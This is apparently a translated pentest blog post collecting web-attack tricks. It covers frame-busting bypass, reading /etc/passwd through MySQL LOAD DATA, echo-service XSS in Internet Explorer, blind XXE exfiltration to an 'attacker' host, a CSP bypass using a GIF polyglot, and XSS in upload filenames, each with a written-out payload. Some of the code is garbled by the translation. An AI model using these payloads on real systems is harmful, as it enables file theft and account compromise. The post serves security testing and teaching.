A selection of tricks in analyzing the security of web applications

Hello! This topic is devoted to various tricks in the analysis of security (pentest) web applications. From time to time you come across a situation where you have to bypass some kind of protection, get out of these limitations, or just test some non-obvious place. And this post is just about that! Welcome under cat.

Trick # 1 - Bypass Clickjacking Protection

Clickjacking (Clickjacking) is a mechanism for deceiving Internet users, in which an attacker can gain access to confidential information or even gain access to a user's computer by luring it on a seemingly harmless page or by introducing malicious code on a secure page. The principle is based on the fact that there is an invisible layer on top of the visible page, into which the page needed by the attacker is loaded, while the control element (button, link) necessary to perform the required action is combined with the visible link or button, which is expected to be clicked . Various applications of the technology are possible - from a subscription to a resource in a social network to theft of confidential information and making purchases in online stores at someone else's account (C) http://ru.wikipedia.org/wiki/Klikdzheking

With this attack, you need to display the resource in the frame, and the right way to protect is to add the X-Frame-Options header with the necessary restrictions (usually, it is forbidden to show the resource in the frame to everyone).
But on a fairly large number of sites you can find similar code:

if (self !== top) { top.location = self.location; } 

Javascript, with which the resource is trying to "jump out" of the frame. And there are two ways to circumvent this protection.

1. Race condition

We can “hang up” a new Listener on the unload window and enter the whole window in the race state

 var kill_bust = 0 window.onbeforeunload = function(){kill_bust++}; setInterval(function() { if (kill_bust > 0) { kill_bust -= 2; top.location = '204.php'; }}, 1); 

Where 204.php is the following script
')

 header("HTTP/1.0 204 No Response"); 

As a result, do not let the site "jump out" of the frame.

2. Using HTML5 Standards

We can limit the action of scripts in the frame, opening it in sandbox mode

 <iframe src="http://victim.com" sandbox=" allow-forms allow-scripts" /> 

These methods were reviewed at the ZeroNights workshop: 2013.zeronights.org/includes/docs/Krzysztof_Kotowicz_-_Hacking_HTML5.pdf

Trick # 2 - Reading files in MySQL with no file_priv

It is believed that reading files in MySQL is possible only with user privileges set for the file. But it is not so. If we have the right to create tables - we can read a file when creating a table without having file_priv

 LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY ' '; 

and

 select * from test; 

This topic is disassembled on the rdot forum.

Trick # 3 - Using echo services for XSS

This trick relates to making PoC for very specific XSS. Imagine an echo service that simply gives the requested content back. If we access it via HTTP, it will simply return all our HTTP request to us. And if we request something like victim.com : 1024 / <script> alert (1) </ script>? Then he will return to us the entire HTTP request, where XSS will be at the beginning. But here are two points.

1. The HTTP response will be incorrect (for HTTP version 1.X +), but in HTTP version 0.9 it is not necessary to correctly respond to the request, so some browsers (Internet Explorer) will render such responses. This can be found in the book The Tangled Web by Michal Zalewski.
2. Before sending a request to the server, the browser converts the url into a “safe” view (% 20 and similar items in your address bar). As a result, the echo service will return not our tags with xss - <script>, but% 3Cscript% 3E. But! Internet Explrer does not encode the data after the first question (GET parameters) in the URL.

But there is a way to force Explorer not to encode anything in the URL (this method was accidentally found during Pentest). This is to give the link to IE via the Location header.

 <?php header("Location: http://victim/ANY_DATA_HERE_WILL_BE_NOT_ENCODED"); ?> 

As a result, send a “normal” request to the echo service, which will return it to us. And IE - will render.
Then a logical question arises, what about the Same Origin Policy? After all, we are running js on a different port, different from the port of the web server and the site we are attacking? In Internet explorer, the port is ignored when detecting an SOP, like this. As a result, a similar trick helps just to show (POC) that the vector is in the data, in very difficult conditions. For example - the similar was found by our surveys in SAP.

Trick # 4 - Reading data with a "blind" XML injection

XXE is an attack on applications that process XML. Instead of some valid and expected data, XML elements are sent for processing, which the parser must (by default) first parse, and only then process all the XML. As an entity, you can specify a file (for example, as a nickname) and then look at your nickname (and this / some / etc / passwd). But there are situations when you send XML and everything, nowhere, no answers. With such a "blind" injection, you can use the Japanese / PT vector.

The first XML with DTD to external address is given:

evil.xml

 <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://attacker/test.dtd" > <foo>&e1;</foo> 

test.dtd

 <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/BLAH#%p1;'>"> %p2; 

As a result, the XML parser will process the data above and try to query the GET entity with a request, in the parameters of which there will be file data (and there we will already monitor access.log).

Trick # 5 - CSP bypass and javascript execution from a GIF file

Content-Security-Policy is a header that tells the browser where to load various data (for example, JS), everything else is prohibited. This greatly complicates the exploitation of XSS vulnerabilities. We can deploy, but js can not be executed, .js files are allowed only from some specific domains. Now, if we can upload files (for example, attach to a letter), then we can generate an “evil” completely valid GIF file, with which

 <script src = "http://domain-in-white-list/evil_image.gif"></script> 

JS is fulfilled. The demo script was used in FaceBook .

Trick # 6 - ignoring the Content-Disposition: attachment header and rendering the script in the browser.

I have described this vector in great detail here . The point is that iOS devices ignore this header and “usable” content (html / svg) is rendered in the browser. An example from the last article of an attachment from gmail, which should not automatically open in the browser

GMail

Trick # 7 - "Unpopular" place when testing for XSS

The fact is that the place described in the trick is really very unpopular when testing for XSS among many pentesters.

The idea: create a file <img src = x onerror = alert (1)>. Jpeg and send to the victim.

Under Linux systems, simply create a file with this name.

  # touch '<img src = x onerror = alert (1)>. jpeg' 

But under Windows - it is impossible, due to the peculiarities of the file systems of this OS. The solution is very simple, let all the traffic Burp Proxy and replace the data at the stage of sending

 ------ WebKitFormBoundaryFS9MRFpHBt02jHkz
 Content-Disposition: form-data;  name = "upload [0]";  filename = ""> <img src = x onerror = alert (1)> "

In a similar way, XSS was found in Google AdWords - c0rni3sm.blogspot.ru/2013/12/google-adwords-stored-xss-from-nay-to.html , which could be used against other users.

Thanks for attention!